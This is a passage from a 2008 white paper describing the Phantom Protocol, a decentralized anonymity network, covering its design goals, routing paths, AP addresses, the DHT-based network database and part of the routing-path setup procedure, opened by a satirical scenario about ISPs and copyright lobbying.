luckily they aren’t allowed to reveal your real identity to anyone else, right? (the ISP has logs of all your allotted IP addresses, which can be matched to abuse reports) • It is said that the Internet is a place of constant learning, and the field of anonymity is no exception to that rule. What started out as a simple and righteous retaliation campaign against the rude people behind those service providers trying to shut down your legitimate businesses in the fields of Cialis retail and amateur porn, quickly turned into a passionate hobby, and even yet another successful Internet enterprise. This after it became apparent that the combination of email death threats and extortion by means of private nude pictures is surprisingly lucrative. All of a sudden though, while minding your own business as usual, planning your new life on Hawaii, it once again becomes abruptly apparent that you have been the victim of one of those horrible online first amendment crimes that you have a faint recollection of being the last thing to ever pass by the original front teeth of that EFF guy. All of a sudden, your rights within the area of speaking have apparently been radically cut down to the somewhat disappointing “right to remain silent”, and you start wondering what the world has really come to? Well, actually, you knew it would happen eventually, just like it happened to all great Internet enterprises, the “unfair competition” lawsuit trick, the oldest trick in the book. — Partial lack of anonymity/pseudonymity. People seem to somehow be able to get hold of your real identity by suing your Internet identity, or otherwise reporting it to the police. • Just returned from the week long visit “downtown”, you are starting to seriously consider a small donation to the EFF, since installing that hard disk encryption software mentioned in the blood stained pamphlet left by the EFF guy outside your door seemingly resulted in a failure for your competitors to plant fake evidence of unfair competition on your computer, or at least that’s your interpretation of the legal mumbo jumbo that ended with “dismissed due to lack of evidence”. So it really worked then it seems, those EFF people really managed to save your freedom of speech after all, and they deserve a donation for it indeed! Being a responsible donor though, you always make sure to check up on the financial activities and transactions of the organizations to which you donate money. After all, you don’t want to have any part in sponsoring something that would later turn out to be some kind of shady operation, right? Incidentally, this would also be a great opportunity to try out that latest service offering of your most fierce competitor in the area of Internet entrepreneurship, namely the Russian Business Network. A service which they have given the disquietingly inventive name “Get the bank account transaction listing of any given company or private person, for 10 cents”. Availing yourself of this service and having skimmed through the EFF account transaction lists, you don’t notice anything out of the ordinary except one small oddity. Two local chapters of Alcoholics Anonymous (which you conclude, from their initials, must be the Rock Island and Menlo Park AA chapters) have repeatedly made some pretty huge donations to key personnel at EFF, all of which have been immediately “reimbursed” shortly thereafter on each occasion. Poor people you think, they must have White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 7(68) been drunk and mistyped the account numbers when transferring money from the local chapters to the national organization. Naturally, being the Good Samaritan that you are, you decide to take a quick peek at the individual account listings of these “RIAA” and “MPAA” local chapters, just to insure they didn’t misplace any more of their money while being under the influence lately. You quickly get to regret this thoroughness though, when seeing that these poor fellows seem to have misplaced money transfers to practically every single ISP board member, judge or politician involved in questions concerning copyright and digital communications law in the whole of the United States and Europe. That’s just too much, you say to yourself, it would take all night to note down and report all those mistaken transactions. Those poor drunkards are on their own for now. Damn, alcohol abuse is crazy, almost as crazy as all those policies and laws proposed by the exact ISPs, politicians and judges being present on this transaction listing, regarding data retention, blocking of traffic to arbitrary destinations, and release of personal traffic logs to third-party make-believe cops owned by commercial interests. He- he, isn’t that a funny coincidence you think to yourself, before finally registering your $10 donation to the EFF, which after all seems to be a bunch of some pretty standup guys, having returned all those misplaced donations and everything. — Full lack of anonymity, and subsequent invasion of privacy and abuse of personal information by commercial interests and other shady authorities could soon pose a huge threat to Internet users all around the world (as a result of misplaced AA money transfers if nothing else). So, can’t anything be done about this current and impending state of affairs? Yes it can! In addition to donating money to charitable organizations (e.g. the EFF) that work actively with helping “AA chapters” all over the world to stay away from their abuse, an efficient way of removing the possibility for such privacy invasion and abuse would be to completely remove the compromising link between a network information exchange and the network identification details of the peers involved in such exchanges, i.e. the IP addresses of the communicating peers. This, combined with removing the possibility of eavesdropping on any part of the contents of such information exchanges, would insure that no external party whatsoever could neither see who is talking to whom, nor discover what they are talking about, be it the ISP itself or any other organization tapping the wire at any given point along the communication path. Oh, and about the danger of “over entrepreneurial” individuals (like our dear friend from the examples above) exploiting this anonymity to commit serious crimes like those in the examples above, don’t worry, this has been taken into consideration and taken care of in the design of the protocol too, in one of the most clean and beautiful of ways possible. And that, dear readers, is the definition of anonymity in the context of this paper. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 8(68) 3. Further Definitions and Limitations 3.1. Design Assumptions Yet again, for a topic as multifaceted as this, some important assumptions on which the design is based should be declared: 1. The traffic of every node in the network is assumed to be eavesdropped on (individually, but not globally in a fully correlated fashion) by an external party. 2. Arbitrary random peers participating in the anonymization network/protocol are assumed to be compromised and/or adverse. 3. The protocol design cannot allow for any trusted and/or central entity, since such an entity would always run the risk of being potentially forced offline or manipulated, if for no other reason due to large enough quantities of money (or lawyers) being “misplaced”. 3.2. Important Consequences of Design Goals and Assumptions As a result of the design assumptions listed above, a number of consequences critical to the design of the protocol can be deduced, out of which some important ones are: 1. The protocol needs to be fully decentralized and distributed. 2. No other peer participating in the protocol can be trusted by itself. 3. Probabilistically secure algorithms need to be used instead of deterministically secure ones. 3.3. Design Directives During the course of any design procedure, one is often faced with different alternatives or options at different levels. Design directives are meant to assist in making these decisions, and also to make sure that all such decisions are made in a consistent manner, toward the same higher level goals. The most important design directive for this project is: 1. CPU power, network bandwidth, working memory and secondary storage resources are all relatively cheap, and will all be available in ever increasing quantities during the coming years and thereafter. Thus, wherever a choice must be made between better security or better performance/lower resource consumption, the most secure alternative should be chosen (within reasonable bounds, of course). White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 9(68) 4. Design Goals of the Protocol 4.1. Complete Decentralization In the world of IT security, it is a well known fact that however efficient, secure and robust a system or protocol may be, if it has any kind of single weak point, this is what any determined attacker will find and exploit. In cases of involvement by big financial and/or political interests, an additional common angle of attack is the legal arena, where lawsuits, legal threats and economical pressure are the primary weapons of choice. Thus, an important design goal of the protocol is to make sure that it has no central or single weak points, neither in the IT realm, nor the legal realm. Because of this, the only viable option is to make the protocol completely decentralized (including legal ownership wise, i.e. also making it open source and community owned), dependent only on the sum of its users, while at the same time not specifically on any single instance of them. 4.2. Maximum Resistance against All Kinds of DoS Attacks The current widespread trend of anti-privacy measures around the world is there for a reason. Big commercial and political interests, and combinations of them, want to restrict and control the privacy and free exchange of information on the Internet today. Considering the decentralized nature of this protocol, combined with the fact that its primary purpose is actually to prevent the tracking and targeting of single individuals on the basis of who they are communicating with and why, the only practical way to attempt to stop it would be to launch destructive technical attacks of different kinds against the network as a whole (attempting to outlaw its use altogether would of course also be a theoretical possibility, which is discussed separately later in this paper). Thus, an important design goal of the protocol is to be resistant against such attacks, in the best way possible, and this goal should therefore be considered through all levels of its design. 4.3. Theoretically Secure Anonymization As always in the field of security, any solution relying solely on the obscurity and practical difficulty of cracking it, will always fail sooner or later. Usually sooner too actually, if just enough motivation and resources exist among its adversaries. Thus, an important design goal of the protocol is that the security of its anonymity should be theoretically provable, regardless of being deterministic or probabilistic. 4.4. Theoretically Secure End-to-End Encryption End-to-end encryption, and the subsequent prevention of anyone eavesdropping on the contents of single communication sessions, is something that is normally taken for granted on the Internet today. This kind of secrecy is also of extra importance when it comes to the field of anonymi- zation, due to the simple fact that if someone is able to eavesdrop on the contents of the communication between two otherwise anonymous parties, it is highly likely that information of more or less identifying nature will occur at some point. In such case, the identities of the communicating parties can be deduced by means of this information, instead of through network specific address information. Thus, an important design goal of the protocol is to make sure that no entity other than the two communicating peers of the protected conversation has access to its contents. Or, put in a simpler way, the enforcement of end-to-end encryption. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 10(68) 4.5. Complete (Virtual) Isolation from the "Normal" Internet It is a well-known fact that people behave worse while under the cover of anonymity. Many opponents of a protocol of the type being presented here would argue that the Internet is sufficiently full of crime as it is today, and that increased anonymity would only be for the worse (apparently not considering anti-privacy crime). A big disadvantage with many existing anonymity solutions, e.g. TOR, is that they only provide an anonymizing layer between their users and the normal, non-anonymous, Internet. This results in a design containing “out-proxies” for the last communication step between the anonymization layer and the normal Internet, which in turn has two substantial drawbacks. First of all, the traffic of this last communication step is not necessarily encrypted, which enables any out-proxy to eavesdrop on any such information (and as mentioned above, eavesdropping of communication contents is not only a confidentiality risk, it is also a direct anonymity risk!). Second of all, the users of such a system are essentially able to perform any action that normal non-anonymous Internet users can, including most kinds of Internet related crime, such as spamming and unlawful hacking. These types of crimes can always be traced back to the last “out-proxy” before the switch to normal non-anonymous Internet traffic, and the person acting as this out-proxy (which in a decentralized design would be any random user of the system) would run the risk of being associated with the crime in question. Both these factors are of course at the very least unpleasant, and would have a very discouraging effect on the usage of the system. Thus, an important design goal of the protocol is to make sure that none of its users should need to worry about crimes being committed against other random Internet users from their own computer, which is in turn accomplished by complete isolation between the anonymized network and the normal Internet. This way, each and every user can decide exactly which services they want to expose to anonymous access, considering the risks associated with doing so. For example, if you don’t want to take the risk of anonymous hackers vandalizing your web server, simply don’t expose it to the anonymous network. If you don’t want to take the risk of anonymous users threatening you in a chat room, don’t join a chat room on the anonymous network. This way (possibly even in combination with legal measures like EULAs and licenses for the protocol and its implementations), no user of the anonymous network (let’s call this user “A”) should be able to blame another innocent user of the anonymous network (let’s call this user “B”) for an anonymous attack which just happened to bounce off user B as a last random stop before hitting user A. Thus, no user of the network should have to worry about their participating role as a possible routing node when using the network. NOTE: Out-proxies from the Phantom protocol toward the normal non-anonymous Internet can still be implemented on the application level, and hosted by anyone willing to take the risk. In this case they could also easily be made target-specific, in order to e.g. allow for anonymous access to your own website only, or similar. 4.6. Maximum Protection against Protocol Identification/Profiling Already today, several ISPs around the world have been exposed throttling or blocking traffic that they either don’t themselves like, or even worse, that some commercial or political third-party interests disapprove of and, thus, pressured them to block, all for a large variety of reasons. Due to the fact that many of these parties in many cases are the very ones whose actions in the field of anti-privacy this anonymization protocol aims to counteract, it is fair to assume that the protocol itself would quickly become an attractive target for such measures. Thus, an important design goal of the protocol is to make positive identification of its use as hard as possible for any third party with full external eavesdropping access to its traffic, in order to prevent these same parties (e.g. an ISP) from being able to act upon this kind of information. Let’s not kid ourselves however, traffic analysis is extremely hard to defend against to the extent of it not being able to conclude anything. The practical goal will rather be to induce a large enough amount of uncertainty and false positives into any reasonably resourceful traffic analysis method, in order to prevent real-time throttling and blocking. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 11(68) 4.7. High Traffic Volume and Throughput Capacity Practically all free and generally available anonymization solutions of today operate at speeds too low for most users to be interested, or at least be attracted to them. Many of these solutions also outright explicitly and completely forbid the transfer of larger data volumes. First of all, poor performance and limitations of any kind are negative traits of any protocol or system, by themselves. Second of all, and even more importantly, the strength of the provided anonymity (and also the robustness against DoS attacks of different kinds) in a fully distributed and decentralized solution like the Phantom protocol, depends on its number of users. Thus, an important design goal of the protocol is to make it as capable, high-performing and non- limited as possible in the aspects of transfer volume and throughput, while still maintaining theoretically strong anonymization. 4.8. Generic, Well-Abstracted and Backward Compatible Design Last but not least, there are some design goals that practically always constitute winning strategies when designing complex systems and powerful solutions. First of all, in the long run, a generic system is practically always superior to a specific system, and especially if it is popular and used by many people, thus becoming the subject of the accompanying constant flow of ideas and suggestions for new and creative ways of using and adapting it. Second of all, a well- abstracted design makes sure that a design mistake in one area doesn’t affect unnecessarily large parts of the solution as a whole, and also allows for much more efficient collaborative work by different groups of people with different areas of expertise. Third of all, a design that is backward compatible with previous solutions and applications will get a much quicker start, has much greater opportunities to quickly show off its potential, and is much easier to put into a perspective that people understand and appreciate. Thus, an important design goal of the protocol is to make it as generic, well-abstracted and backward compatible with existing adjacent and relevant technologies as possible. This might sound a bit vague, highfalutin and unnecessary to mention, but as you will see, it will be of great importance in many ways for this protocol. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 12(68) 5. Bird’s-Eye View of the Protocol Now, with all the major goals, directives and assumptions behind the protocol design having been presented, we can begin to delve into its actual design. At its core, and viewed at the highest level, the design of the protocol is very simple. 5.1. Some Initial Definitions • A protocol user is any actor or device that is using the protocol. It could be a home user, a large server, or possibly even a dedicated anonymization appliance. Everything that has access to the Internet is a valid candidate. • In the context of this protocol, the real identity of a protocol user is equated with its IP address on the network in question (which for all matters of this paper will be assumed to be the Internet). This will hold true even if this IP address isn’t necessarily a dedicated one for the user, i.e. even if the user is one of many behind a particular NAT firewall, the identity of the user is considered to be revealed to a certain party if the external IP address of this NAT firewall is revealed to the same party. • All protocol users participate in the anonymous network, or rather, the protocol users are even the sole constituents of the anonymous network, since it is fully distributed and decentralized. • All protocol users in the anonymous network will be represented as network nodes in this paper. In explanatory figures, these nodes will in turn be represented as circles (of different color, depending on their role in the current explanation). • An anonymized node is a network node that is making use of the anonymous network to hide its own identity while communicating with another node in the anonymous network (which in turn can be anonymized, or not, by its own choice). 5.2. A First Glance Now, let’s say we have a situation where a network node, , wishes to be anonymous while communicating with another network node, . The resulting situation when using the protocol can be illustrated with the following figure. Figure 1. One-way anonymized communication, overview As can be seen in the figure, the traffic from is being forwarded through a number of inter- mediary nodes before reaching , and any reply from will be sent back through the same path. This way, has no way of knowing the identity of , since only knows the IP address of the last intermediary node, but has no knowledge of what is going on beyond that point. = End-point node = Selected intermediary network node = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 13(68) 5.3. A Little Further Look As a necessary consequence of the protocol design (which is in turn based on the previously listed goals, directives and assumptions, and will be described in more detail later in this paper), all nodes in the network are responsible for maintaining their own anonymizing forwarding paths like this, or routing paths as they are called within the bounds of this protocol. In the previous example, the routing path belonged to node , and thus could only be used to anonymize node . This means that, in this example, only node was being anonymized. This is a perfectly valid circumstance though, where a node, in this case node , has only joined the network to be able to communicate with anonymized nodes, while not itself being anonymized. There are of course plenty of situations where both parties of a communication session want to remain anonymous, and the resulting situation can be illustrated with the following figure. Figure 2. Two-way anonymized communication, overview As can be seen in this figure, the traffic from node is now being forwarded though a group of intermediary nodes, owned and controlled by , after which it is sent to another group of intermediary nodes, owned and controlled by , and then finally reaches node . Any reply from will be sent in reverse, back through the same path. This way, has no way of knowing the identity of , since only knows (at most) the IP address of the last intermediary node in the routing path owned by , but has no knowledge of what is going on beyond that point. This time though, the exact same thing also applies in the reverse direction, i.e. has no way of knowing the identity of , since only knows (at most) the IP address of the last intermediary node in the routing path owned by , but has no knowledge of what is going on beyond that point. We now have a simple model for a communication session where neither party has the ability to know the identity of the other party, while still being able to engage in unrestricted communi- cation. This is practically what the Phantom protocol is about at its core, but as they say, the devil is in the details, and there are quite a bunch of those to consider. = End-point node = Selected intermediary network node = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 14(68) 6. High-Level Design The previous chapter raises several questions, and also allows for a few more definitions. This chapter will try to clear up a few of these, while still on a higher, non-detailed, level. 6.1. Some Further Definitions • A routing path is a number of network nodes in the anonymous network, in a defined order, selected by a particular anonymized node that also “owns” the path, over which communications to/from this anonymized node can be forwarded/routed in order to help keep its real identity hidden from its communication peers in the anonymous network. • An exit routing path, or exit route, is a routing path through which the owning anonymized node can make outgoing connections to other nodes in the anonymous network, and thus, a mechanism for anonymizing network clients. • The outermost node in an exit route is called an exit node. • An entry routing path, or entry route, is a routing path through which the owning anonymized node can accept incoming connections from other nodes in the anonymous network, and thus, a mechanism for anonymizing network servers. • The outermost node in an entry route is called an entry node. • A routing tunnel is a connection established over a routing path, over which the anonymized node owning the routing path can perform TCP-equivalent anonymized communication with a specific peer node in the anonymous network. • The network database is a fully distributed, decentralized database, based on DHT (distributed hash table1) technology. It contains a number of individual virtual “tables”, which in turn contain all global information necessary for the operation of the anonymous network. All network nodes have access to the necessary parts of the contents of this database, through a well-defined API. • An AP address (Anonymous Protocol address) is the equivalent of an IP address within the bounds of the anonymous network. AP addresses are used to identify individual nodes on the anonymous network (without for that sake being able to deduce their IP address or any similarly identifying real-world information). 6.2. Routing Paths The concept of routing paths is the central anonymizing mechanism of the protocol. All network nodes wanting to hide their identity, i.e. the anonymized nodes of the network, make use of such routing paths, and the individual anonymized nodes are also fully responsible for setting up and maintaining these paths by themselves. Routing paths can either be used to anonymize outgoing connections (e.g. clients connecting to a web server) or to anonymize incoming connections (e.g. a web server wanting to remain anonymous, while still allowing any client to connect to it), or both. This decision is also up to each individual network node itself to make. As mentioned in the definitions above, a routing path used to anonymize outgoing connections is called an exit path, and a routing path used to anonymize incoming connections is called an entry path. The general idea behind a routing path is that any node in the network, let’s call it , is able to route its communications with any other node in the network through an arbitrary number of intermediary network nodes. These intermediary network nodes are selected by the anonymized node itself, which means that they are at worst probabilistically insecure (if random nodes are selected from the network, there is a risk that they are malicious and collaborating with other 1 http://en.wikipedia.org/wiki/Distributed_hash_table White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 15(68) nodes out-of-band, in order to reveal the identity of other nodes), and at best fully trusted (i.e. if network nodes belonging to trusted friends are used). The probabilistic insecurity factor is handled by using an arbitrary number of intermediary nodes, selected by the anonymized node itself. The protocol is also designed such that no intermediary node can derive the position at which it is located in the routing path, also not whether it is adjacent to the anonymized node itself or not, and finally not even in which direction of the path that the anonymized node is located. Also, the protocol is designed in such a way that no intermediary node can ever eavesdrop on any of the information being routed through it, by means of encryption. Let’s illustrate such a routing path with a figure. = Anonymized network node = Selected intermediary network node = Selected terminating intermediary network node Arbitrarily many intermediary nodes here Figure 3. Routing path, overview As can be seen in the figure, the anonymized node itself resides in one end of the routing path, and is then followed by an arbitrary number of intermediary nodes, before the routing path finally terminates in a special terminating intermediary node. If the routing path is an exit path, this terminating intermediary node is called an exit node, and if the routing path is an entry path, the terminating intermediary node is called an entry node. Both the number of nodes and the exact nodes themselves are selected by the anonymized node, when it constructs the routing path. The terminating intermediary node has some special responsibilities in addition to the pure data routing task to which all intermediary nodes are dedicated. In the case of exit paths, the terminating node (i.e. the exit node) establishes all outbound connections to target AP addresses requested by the anonymized node that owns the routing path (thus being located at the other end of it). In the case of entry paths, the terminating node (i.e. the entry node) listens for incoming connections from other nodes in the anonymous network, and forwards these into the routing path in order to establish a full connection from the remote peer to the anonymized node that owns the routing path (thus being located at the other end of it). As soon as such an outgoing or incoming connection is established, it becomes a separate routing tunnel inside the routing path. The same routing path can theoretically be used for an arbitrary number of parallel routing tunnels. The real security of the protocol is of course intricately connected to the details of exactly how these routing paths are created by the anonymized nodes, and how they are found by other peers in the anonymous network. This will be discussed in detail in the following chapter, about low-level design. Before we get to that, however, there are still some components of the protocol left to discuss at this higher level. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 16(68) 6.3. Routing Tunnels As mentioned in the definitions section above, a routing tunnel is the dedicated communication channel created inside a routing path as soon as a connection is successfully established between the anonymized node owning the routing path and another node on the anonymous network. Such a connection between two nodes on the network can be seen as the anonymized equivalent of a TCP connection over the common Internet. It should be noted however, that the routing tunnel does not constitute the entire anonymized connection between two nodes on the network. Rather, it makes up only the half of the connection that belongs to the node owning the routing path over which the connection is being established. The connection then continues from the terminating intermediary node of the routing path, off to the other half of the connection, belonging to the other peer of the connection. This can be illustrated with the following figure. Figure 4. Two-way anonymized connection, involving two routing paths/tunnels As can be seen in the figure, both of the end-point nodes of the connection are anonymized, and thus each has its own routing path. These two routing paths are then connected with each other by their respective exit/entry nodes, forming a single two-way anonymized connection, passing through two routing tunnels and a connecting link between them. As described in the previous chapter, not all nodes in the anonymous network are necessarily anonymized though. Some of the nodes could just as well only be in the network to be able to communicate with other anonymized nodes, without for that matter having the need to anonymize themselves, thus saving resources and improving performance. Imagine for example a human rights discussion forum on a web server located in a free democratic country. Such a web server doesn’t have any immediate reason to anonymize itself, while at the same time some of its users located in countries with repressive regimes might have an urgent need to both anonymize themselves with respect to the web server (out of fear that someone connected to the regime might get access to its log files) and also hide from their own ISP the fact that they are communicating with this web server at all. In this situation, the web server can join the anonymous network just in order to be able to accommodate users having these needs, but can still itself be completely without anonymization. This can be illustrated with the following figure, where the anonymized web client is represented by the anonymized node , and the non- anonymized web server, still located on the anonymous network, is represented by the node : = End-point node = Selected intermediary network node = Selected terminating intermediary network node = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 17(68) Figure 5. One-way anonymized connection, involving one routing path/tunnel As can be seen in the figure, only the anonymized web client end-point node () of the connection has its own routing path. The exit node of this routing path then connects directly to the non-anonymized web server end-point node (). Thus, the entire one-way anonymized connection constitutes a single routing tunnel, going over the single routing path, finally being connected directly to the non-anonymized end-point node () with a connecting link from the exit node of the exit path belonging to the anonymized node (). It should be noted however, that even though the end-point node () is not anonymized, it is still part of the anonymous network, reachable (only) through an AP address just like any other node in the network. Not only that, but the protocol is also designed in such a way that it should be impossible for any node (in this case ) to know or conclude if it is connected directly to a node (in this case ), or to a routing path owned by the same node. Thus, even nodes that don’t make use of routing paths themselves can still in many ways be considered as being anonymized, if by no other means, through the existence of “reasonable doubt”, which has very important performance implications for the protocol. This kind of reasonable doubt is, of course, of little use for a server with a static AP address, since it won’t take long for any client to notice that the IP address of its “entry node”, i.e. the server node itself in the non-anonymized case, is always the same. For various clients in different situations, however, this can be of great usefulness, discussed in more detail a bit later. Anyway, the real security of the protocol is of course intricately connected to the details of exactly how these routing tunnels are established over the routing paths, connected with each other, and how data is routed through them. This will be discussed in detail in the following chapter, about low-level design. Before we get to that, however, there are still some components of the protocol left to discuss at this higher level. = End-point node = Selected intermediary network node = Selected terminating intermediary network node = Non-involved network node White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 18(68) 6.4. AP Addresses 6.4.1. A Comparison between AP Addresses and IP Addresses As mentioned in the definition section above, an AP address (Anonymous Protocol address) is the equivalent of an IP address within the bounds of the anonymous network. Just like with IP addresses on the Internet, each network node on the anonymous network has a unique AP address2. There is, however, one key difference between an IP address on the Internet today, and an AP address on the anonymous network. This difference lies in the connection between the network address used by a person or company, and their real identity. With a common IP address on the Internet today, it is always theoretically possible to track down the real individual behind the address, or at least the legally responsible individual behind the address. With an AP address in the anonymous network, no one should be able to infer any further information about the real identity of the node behind an address just by knowing the address itself. To put it another way, just because you can communicate with someone over the network, you shouldn’t automatically be able to get hold of their real identity. This key difference between IP addresses and AP addresses is actually the entire reason for using the anonymization protocol in the first place, rather than just using normal Internet communication directly over standard TCP/IP. Other than this key difference, AP addresses are actually extremely similar to IP addresses, for the reasons further discussed below. 6.4.2. Backward Compatibility with TCP/IP Enabled Applications The structure of an AP address is identical to the structure of an IP address, i.e. it constitutes 32 bits, arranged in four period-separated 8 bit numbers, like “1.2.3.4”. This equivalence to IP addresses is very important in order to maintain backward compatibility with all existing IP network communication enabled software, and even the possibility to anonymization-enable these applications without their own knowledge, without their source code, and without the participation of their authors. This kind of third-party anonymization enabling of existing applications can be easily accomplished by the simple application of some binary network API hooks, as long as the application level interface for communicating over the anonymous network is identical to the application level interface for communicating over standard TCP/IP. For this reason, AP addresses have been designed to permit just that, an interface identical to standard TCP/IP communications, and thus, AP addresses are structured just like IP addresses. In order for a node on the anonymous network to connect to another node on the anonymous network, a port number is also needed in addition to stating an AP address, just like with TCP connections, for the same backward compatibility reasons. Do note however, that as IPv6 addresses become commonplace on the Internet, there’s nothing in the design of the protocol that makes it hard to start supporting these too, in exactly the same way. 2 Actually, only nodes wanting to accept incoming connections really need to have an AP address, even. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 19(68) 6.5. The Network Database In order for a group of individual and completely autonomous network nodes to be able to accomplish anything useful together, or even to just be able to contact each other in the first place, some kind of common data store or communication channel would seem to be required. The problem with our restriction dictating a completely decentralized solution, however, is of course that it disallows central points of any kind in the network, e.g. a central directory server. This has been solved by using a distributed and decentralized database, of the DHT (Distributed Hash Table) type. This way, the collected set of all nodes in the anonymous network actually are the database. Several successful large scale implementations of this kind of database already exist today, among which the Kademlia based Kad network database (of eMule fame) is one of the largest. Not only do most DHT database designs solve the basic problem of an efficiently distributed database in a good way, they also have built in resilience to the circumstance of constantly disappearing and newly joining nodes, and in some cases even resilience to malicious nodes attempting to inject corrupt data into the database. All that is needed from a node in order to connect to, and become part of, the distributed database, and thus the anonymous network, is to get hold of any single node that is already connected. Without a central point, this might, at first glance, appear to be a big problem, especially for first-time users of such a network. It really isn’t though. For any user that has already been connected to the network, even once, thousands upon thousands of node addresses can be cached until the next time the node wants to connect. At that point, significant numbers of these will most likely still be available, and, as already mentioned, contact with just one single connected node is all that is needed to become a fully qualified part of the database and network, thus again getting access to large volumes of node IP addresses to use as entry points for subsequent connections. Also, to create easily accessible entry points for never-before connected nodes, any node that has been connected to the network just once can easily publish and share its list of valid node IP addresses to the world in any number of ways, from their website, from their blog, in forums, blog comments, news group postings, or even by email. This guarantees that, as long as there are any remaining members in the anonymous network, an entry point is only a few mouse clicks or a URL away. Also, the DHT based database will be designed in such a way that separate, isolated segments, or “islands” of it should never be able to occur, or at least not exist for any longer periods of time. This global network database will primarily contain two things: • A table containing the IP addresses/ports of all currently connected nodes in the anonymous network (remember, it is not a secret that you are connected to the anonymous network, only who you are communicating with on this network, and what you are communicating!), and a set of accompanying properties for each such address. • A table containing the AP addresses of all currently connected and/or registered nodes in the network, and a set of accompanying properties for each such address. It is very important to note that this table is completely decoupled from the table of IP addresses, which would of course otherwise completely defeat the purpose of the anonymization protocol to begin with. This table will among other things be used by network nodes to be able to find the entry nodes to be used when contacting other AP addresses. The real security and stability of the protocol is of course intricately connected to the exact details of what data this database contains and how the database works and is implemented. This will be discussed in more detail in the following chapter, about low-level design. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 20(68) 7. Low-Level Design Armed with the knowledge gained from the previous chapters, we now plunge yet another level deeper into the details of the protocol, taking a look at some of the very nitty-gritty details that make it tick. 7.1. Routing Paths As mentioned above, the routing path is one of the key elements providing the anonymity in the protocol. As can be suspected, the exact procedure for setting up such routing paths in a secure way is of utmost importance to keeping the system theoretically secure. In this section, the path setup procedure will be described in more detail. We will begin with a shorter step-by-step description, and will then move on to describing and explaining each of the steps, and their underlying purposes and reasons, more thoroughly. 7.1.1. Secure Establishment of Routing Paths – Low-Level Overview Without further ado, here follows the procedure for securely setting up a routing path: 1. The anonymized node (to be) selects a random set (with some exceptions to be discussed later) of x nodes from the IP address/port table of the network database, and fetches all their stored info, like e.g. their path building certificate (containing the public part of an asymmetrical encryption key-pair) and their communication certificate (containing a valid SSL certificate). These selected nodes will be called X-nodes from this point on, and are the ones that will constitute the final routing path. Figure 6. Routing path creation, step 1 2. The anonymized node selects a similarly random set of y nodes from the IP address/port table of the network database, and fetches all their stored info, like e.g. their path building certificate, containing the public part of an asymmetrical encryption key-pair and their communication certificate (containing a valid SSL certificate). These selected nodes will be called Y-nodes from this point on. Figure 7. Routing path creation, step 2 White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 21(68) 3. The anonymized node chooses, arbitrarily, an ordered sequence made up of all the X-nodes and Y-nodes, being constructed in a way that: • No two X-nodes are adjacent to each other. • A Y-node is located in one end of the sequence. • A number of Y-nodes equal to the total number of X-nodes minus one (although always at least one), are located adjacent to each other in the other end of the sequence. • One end of the sequence is chosen at random to be the beginning of the sequence. Figure 8. Routing path creation, step 3 4. The anonymized node generates a temporary asymmetrical cryptographic key-pair, to be used only during the setup procedure of this specific routing path. The private key of this key-pair will be called the routing path construction key, and the public key of this key-pair will be called the routing path construction certificate, from now on. 5. The anonymized node prepares a special unique “setup package” for each individual X-node and Y-node, being asymmetrically encrypted with the public key of the individual recipient, symmetrically encrypted with the 128-bit ID of its incoming connection, and signed with the routing path construction key from the previous step. The package contains the following (just as with all other steps, this will be explained in more detail in the next section): 5.1. IP address of the expected previous node in the sequence. 5.2. IP address and port number of the next node in the sequence. 5.3. The routing path construction certificate, generated by the anonymized node in the previous step. 5.4. A random 128-bit ID, associated with the connection from the previous node. 5.5. A random 128-bit ID, associated with the connection to the next node. 5.6. The communication certificate of the next and previous node. 5.7. A constant number of tuples containing a 128-bit seed, a size, an index and flags for creation of dummy setup packages (more info about this in the details later). 5.8. A constant number of 128-bit seeds for stream encryption key generation + the number of keys to be generated. 5.9. A collection of flags, telling if the node is an intermediate X-node, a terminating X- node or a Y-node, among other things. 5.10. A secure cryptographic hash of the entire (encrypted) setup package array (see the next step), in the expected state upon reception from the previous node. 5.11. A secure cryptographic hash of the (decrypted) contents of the current setup package. White Paper: Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol Author: Magnus Bråding Version: 0.7 2008-08-04 22(68) 6. The anonymized node arranges all the encrypted setup packages from the previous step in an array, in a completely randomized order, and sends off the array to the node at the beginning of the sequence, along with the pre-generated ID for this connection (see the contents of the setup package above). 7. The following sub-procedure is then performed by the receiving Y-node, and will also be repeated by each and every node in the ordered sequence, until the array again reaches the anonymized node: 7.1. The node iterates through each encrypted package in the array, attempting to first symmetrically decrypt it using the connection ID stated by the previous node for the incoming connection, and then asymmetrically decrypt it with its own private key. It will be able to know when it has found the right one by getting a correct hash (item 5.11 in the setup package specification above). 7.2. The node stores the contents of its own successfully decrypted package locally. 7.3. The node authenticates the previous node (i.e. the one it received the package array from), by matching both the expected IP address (item 5.1 in the setup package specification above) against its actual IP address, and the expected ID for the incoming connection (item 5.4 in the setup package specification above) against the ID that was actually stated by the previous node along with the setup package array. Both things should always match under normal circumstances (possible exception 